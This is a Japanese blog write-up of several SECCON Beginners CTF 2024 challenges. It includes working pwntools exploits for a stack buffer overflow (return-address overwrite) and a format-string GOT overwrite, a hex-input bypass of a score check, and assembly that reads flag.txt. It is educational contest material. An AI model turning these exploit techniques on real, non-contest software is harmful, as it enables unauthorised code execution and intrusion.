amaga38のブログ

twitter: @amaga38

SECCON Beginners CTF 2024 Write-up

久しぶりに時間を取れたので2年ぶりに参加しました。hamayanhamayan と2人で参加して 20位/1613pt という結果でした。hamayanhamayan は、Web問全完!!

チーム名:whitecats

チームメイトの Write-up:SECCON Beginners CTF 2024 Writeups - はまやんはまやんはまやん

Pwnable

 simpleoverflow

Cでは、0がFalse、それ以外がTrueとして扱われます。

nc simpleoverflow.beginners.seccon.games 9000

simpleoverflow.tar.gz 02d827ce1b22d3bb285f93d6981e537f34c49e32

Dockerfile と compose.yaml が提供されるので、実行した際の動きは↓のような感じ

$ docker-compose up -d
$ docker ps
CONTAINER ID   IMAGE                     COMMAND       CREATED          STATUS         PORTS                    NAMES
0acba4ab2b99   simpleoverflow-overflow   "/jail/run"   16 minutes ago   Up 3 seconds   0.0.0.0:9000->5000/tcp   simpleoverflow-overflow-1
$ nc 127.0.0.1 9000
name:seccon
Hello, seccon

You are not admin. bye

ソースファイルを確認

int main() {
  char buf[10] = {0};
  int is_admin = 0;
  printf("name:");
  read(0, buf, 0x10);
  printf("Hello, %s\n", buf);
  if (!is_admin) {
    puts("You are not admin. bye");
  } else {
    system("/bin/cat ./flag.txt");
  }
  return 0;
}

10 bytes の buf 変数に対して、read は 0x16 bytes まで受け付けるので、バッファオーバーフローする。オーバーフローすると if 文でフラグとして利用している is_admin 変数を上書きしてしまう。is_admin の値が 0 以外になれば、OK なので、適当な文字列を 11文字書き込めばOKそう。

試した結果

nc simpleoverflow.beginners.seccon.games 9000
name:aaaaaaaaaaaaaaaa
Hello, aaaaaaaaaaaaaaaaW4�
ctf4b{0n_y0ur_m4rk}

Flag: ctf4b{0n_y0ur_m4rk}

simpleoverwrite

スタックとリターンアドレスを確認しましょう

nc simpleoverwrite.beginners.seccon.games 9001

simpleoverwrite.tar.gz 98f8e4f182185e9ed40e195c1921561eba79494b

void win() {
  char buf[100];
  FILE *f = fopen("./flag.txt", "r");
  fgets(buf, 100, f);
  puts(buf);
}

int main() {
  char buf[10] = {0};
  printf("input:");
  read(0, buf, 0x20);
  printf("Hello, %s\n", buf);
  printf("return to: 0x%lx\n", *(uint64_t *)(((void *)buf) + 18));
  return 0;
}

buf[10] に対して read で最大 32バイト読み込むのでスタックバッファオーバーフローする。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

CANARY は無効なので、シンプルにバッファオーバーフローでリターンアドレスをオーバライトする

from pwn import *

srv = 'simpleoverwrite.beginners.seccon.games'
#srv = '127.0.0.1'
port = 9001
bin = ELF('./chall')

conn = remote(srv, port)

payload = b'A' * 10
payload += b'B' * 8

addr_win = 0x401186
payload += p64(addr_win)

conn.sendline(payload)
output = conn.recvrepeat(5000)
print(output)

Flag: ctf4b{B3l13v3_4g41n}

pure-and-easy

nc pure-and-easy.beginners.seccon.games 9000

pure-and-easy.tar.gz 014306641136ca8c1f9af367d68a1f5ee2f2c083

問題のソース。read して buf をそのまま printf しているので Format String Bug がある。

int main() {
  char buf[0x100] = {0};
  printf("> ");
  read(0, buf, 0xff);
  printf(buf);
  exit(0);
}

void win() {
  char buf[0x50];
  FILE *fp = fopen("./flag.txt", "r");
  fgets(buf, 0x50, fp);
  puts(buf);
}

RELRO もなかったので、GOT を書き換えられる。main 関数はリターンせずに exit を呼び出しているので、exit のGOTアドレスを win関数に書き換える。

ソルバー

from pwn import *

srv = 'pure-and-easy.beginners.seccon.games'
#srv = '127.0.0.1'
port = 9000
bin = ELF('./chall')

'''
$ checksec chall
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
'''


conn = remote(srv, port)

addr_main = 0x4011a6
addr_win  = 0x401341
addr_exit_got = bin.got['exit']
addr_bss = 0x404060

print('{:02x}'.format(addr_exit_got))

'''
$ readelf -r chall

Relocation section '.rela.dyn' at offset 0x610 contains 4 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000403fd8  000100000006 R_X86_64_GLOB_DAT 0000000000000000 __libc_start_main@GLIBC_2.34 + 0
000000403fe0  000800000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0
000000404060  000c00000005 R_X86_64_COPY     0000000000404060 stdout@GLIBC_2.2.5 + 0
000000404070  000d00000005 R_X86_64_COPY     0000000000404070 stdin@GLIBC_2.2.5 + 0

Relocation section '.rela.plt' at offset 0x670 contains 9 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000404000  000200000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
000000404008  000300000007 R_X86_64_JUMP_SLO 0000000000000000 __stack_chk_fail@GLIBC_2.4 + 0
000000404010  000400000007 R_X86_64_JUMP_SLO 0000000000000000 printf@GLIBC_2.2.5 + 0
000000404018  000500000007 R_X86_64_JUMP_SLO 0000000000000000 alarm@GLIBC_2.2.5 + 0
000000404020  000600000007 R_X86_64_JUMP_SLO 0000000000000000 read@GLIBC_2.2.5 + 0
000000404028  000700000007 R_X86_64_JUMP_SLO 0000000000000000 fgets@GLIBC_2.2.5 + 0
000000404030  000900000007 R_X86_64_JUMP_SLO 0000000000000000 setvbuf@GLIBC_2.2.5 + 0
000000404038  000a00000007 R_X86_64_JUMP_SLO 0000000000000000 fopen@GLIBC_2.2.5 + 0
000000404040  000b00000007 R_X86_64_JUMP_SLO 0000000000000000 exit@GLIBC_2.2.5 + 0
'''


# GOT overwrite
# 下位2バイトを書き換え
win0 = addr_win & 0xff
win1 = (addr_win & 0xff00) >> 8
print(hex(win0), hex(win1))

ow0 = win0
ow1 = 0x100 - ow0 + win1
print(hex(ow0), hex(ow1), hex(ow0+ow1))

# format string bug
# offset: %6hhn~
payload = f'%{ow0}c%9$hhn'.encode('utf8')
payload += f'%{ow1}c%10$hhn'.encode('utf8')
payload += b'Z' * (8 - len(payload) % 8)

payload += p64(addr_exit_got)
payload += p64(addr_exit_got + 1)


conn.sendline(payload)
print('send:', payload)

output = conn.recvuntil(b'> ')
print('recv:', output)

output = conn.recvrepeat(5000)
print('recv', output)

実行結果

$ python3 solve.py
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to pure-and-easy.beginners.seccon.games on port 9000: Done
404040
0x41 0x13
0x41 0xd2 0x113
send: b'%65c%9$hhn%210c%10$hhnZZ@@@\x00\x00\x00\x00\x00A@@\x00\x00\x00\x00\x00'
recv: b'> '
recv b'                                                                \x90                                                                                                                                                                                                                 \xffZZ@@@ctf4b{Y0u_R34lly_G0T_M3}\n\nctf4b{Y0u_R34lly_G0T_M3}\n\n'

Flag: ctf4b{Y0u_R34lly_G0T_M3}

Misc

getRank

https://getrank.beginners.seccon.games

getRank.tar.gz ac08b24f889e041a5c93491ba2677f219b502f16

数字を当てるゲームで、スコアが1位になるとフラグを貰える

サーバ側のソース

const RANKING = [10 ** 255, 1000, 100, 10, 1, 0];

 :

function chall(input: string): Res {
  if (input.length > 300) {
    return {
      rank: -1,
      message: "Input too long",
    };
  }

  let score = parseInt(input);
  if (isNaN(score)) {
    return {
      rank: -1,
      message: "Invalid score",
    };
  }
  if (score > 10 ** 255) {
    // hmm...your score is too big?
    // you need a handicap!
    for (let i = 0; i < 100; i++) {
      score = Math.floor(score / 10);
    }
  }

  return ranking(score);
}

10進数で送れる 10 ** 255 以上の値を投げても 100回 10で割られる。isNaN のチェックは 16進数でもOKなので、16進数で最大投げられるものを送れば、フラグがきた

import httpx

url = 'https://getrank.beginners.seccon.games/'
data = {'input': '0x' + 'f' * 298}
print(data)

r = httpx.post(url, json=data)
print(r.text)
$ python3 solve.py
{'input': '0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'}
{"rank":1,"message":"ctf4b{15_my_5c0r3_700000_b1g?}"}

Flag: ctf4b{15_my_5c0r3_700000_b1g?}

clamre

アンチウィルスのシグネチャを読んだことはありますか?

※サーバにアクセスしなくても解けます

https://clamre.beginners.seccon.games

clamre.tar.gz 445052853290b4cf3cc39ff0a36dca0cc6747f1c

ClamAV のオリジナルシグネチャっぽい。シグネチャ正規表現で書いているっぽい

ClamoraFlag;Engine:81-255,Target:0;1;63746634;0/^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)\})$/

最後の正規表現にマッチする文字列を作ればOK。フラグになるっぽい。 (abc) のようにカッコでまとめられているのは、グループとして扱われ、\3 や \7 で再利用できるらしい。全体が () で囲まれているので、中の正規表現は グループ2 から数えるのに注意。(\x63\x74\x66) がグループ2 になる。

Flag: ctf4b{Br34k1ng_4ll_Th3_H0u53_Rul35}

Rev

assemble

Webアプリで Intel記法のアセンブリを実行できるツール。Challenge 1~Challenge 4まで問題があって、Challenge 4 まで解くとフラグをもらえる。

問題のWeb画面

Challenge 1

Challenge 1. Please write 0x123 to RAX! RAX に 0x123 をMOV するだけ

Challenge 2

Challenge 2. Please write 0x123 to RAX and push it on stack! Challenge 1 にプラスして、Push RAX するだけ

Challenge 3

Challenge 3. Please use syscall to print Hello on stdout! rax に Hello を用意して push、Syscall で標準出力に Write する

mov rax, 0x6f6c6c6548 # Hello を逆に格納
push rax
mov rax, 0x1 # システムコール番号 1 (write)
mov rdi, 0x1 # ファイルディスクリプタ 1:標準出力
mov rsi, rsp # 文字列を格納しているバッファのアドレス
mov rdx, 5   # 出力する文字数
syscall

Challenge 4

Challenge 4. Please read flag.txt file and print it to stdout!

flag.txt を open して、read して、標準出力に write する

push 0x0 # null文字
mov rax, 0x7478742e67616c66 # flag.txt
push rax
mov rax, 0x2  # システムコール番号 2 (open) 
mov rdi, rsp  # ファイル名のバッファ
mov rsi, 0x0  # 読み取り専用(O_RDONLY)
syscall       # open

mov rbx, rax   # ファイルディスクリプタを一時格納
mov rax, 0     # システムコール番号 0 (read) 
mov rdi, rbx   # ファイルディスクリプタ
mov rsi, rsp   # 読み込みバッファ
mov rdx, 0x100 # 読み込む最大バイト数
syscall

mov rcx, rax  # 読み込んだバイト数を一時格納
mov rax, 1    # システムコール番号 1 (wite) 
mov rdi, 1    # 標準出力
mov rsi, rsp  # 出力するバッファ
mov rdx, rcx  # 出力するバイト数
syscall

Flag: ctf4b{gre4t_j0b_y0u_h4ve_m4stered_4ssemb1y_14ngu4ge}

cha-ll-enge

cha.ll.nge というテキストファイルが渡される。中身を確認すると LLVM-IR という LLVMの中間コードらしい。 リファレンスやらなんやらを見ながら処理を確認したら、入力文字列としてFlag文字列を入力して、以下の整数配列の要素と XOR して一致すればOKというものだった。

@__const.main.key = private unnamed_addr constant [50 x i32] [i32 119, i32 20, i32 96, i32 6, i32 50, i32 80, i32 43, i32 28, i32 117, i32 22, i32 125, i32 34, i32 21, i32 116, i32 23, i32 124, i32 35, i32 18, i32 35, i32 85, i32 56, i32 103, i32 14, i32 96, i32 20, i32 39, i32 85, i32 56, i32 93, i32 57, i32 8, i32 60, i32 72, i32 45, i32 114, i32 0, i32 101, i32 21, i32 103, i32 84, i32 39, i32 66, i32 44, i32 27, i32 122, i32 77, i32 36, i32 20, i32 122, i32 7], align 16

XOR の処理は、i 番目の入力文字と i 番目の配列要素を XOR して、i+1 番目の配列要素と一致すればOKという流れ。なので印字可能文字で総当たりしてフラグを入手した

ソルバー

k = [119, 20, 96, 6, 50, 80, 43, 28, 117, 22, 125, 34, 21, 116, 23, 124, 35, 18, 35, 85, 56, 103, 14, 96, 20, 39, 85
, 56, 93, 57, 8, 60, 72, 45, 114, 0, 101, 21, 103, 84, 39, 66, 44, 27, 122, 77, 36, 20, 122, 7]

flag = ''
i = 0
for i, _k in enumerate(k[:-1]):
    for x in range(0x20, 0x7f):
        tmp = x ^ _k
        if tmp == k[i+1]:
            flag += chr(x)

print(flag)

Flag: ctf4b{7ick_7ack_11vm_int3rmed14te_repr3sen7a7i0n}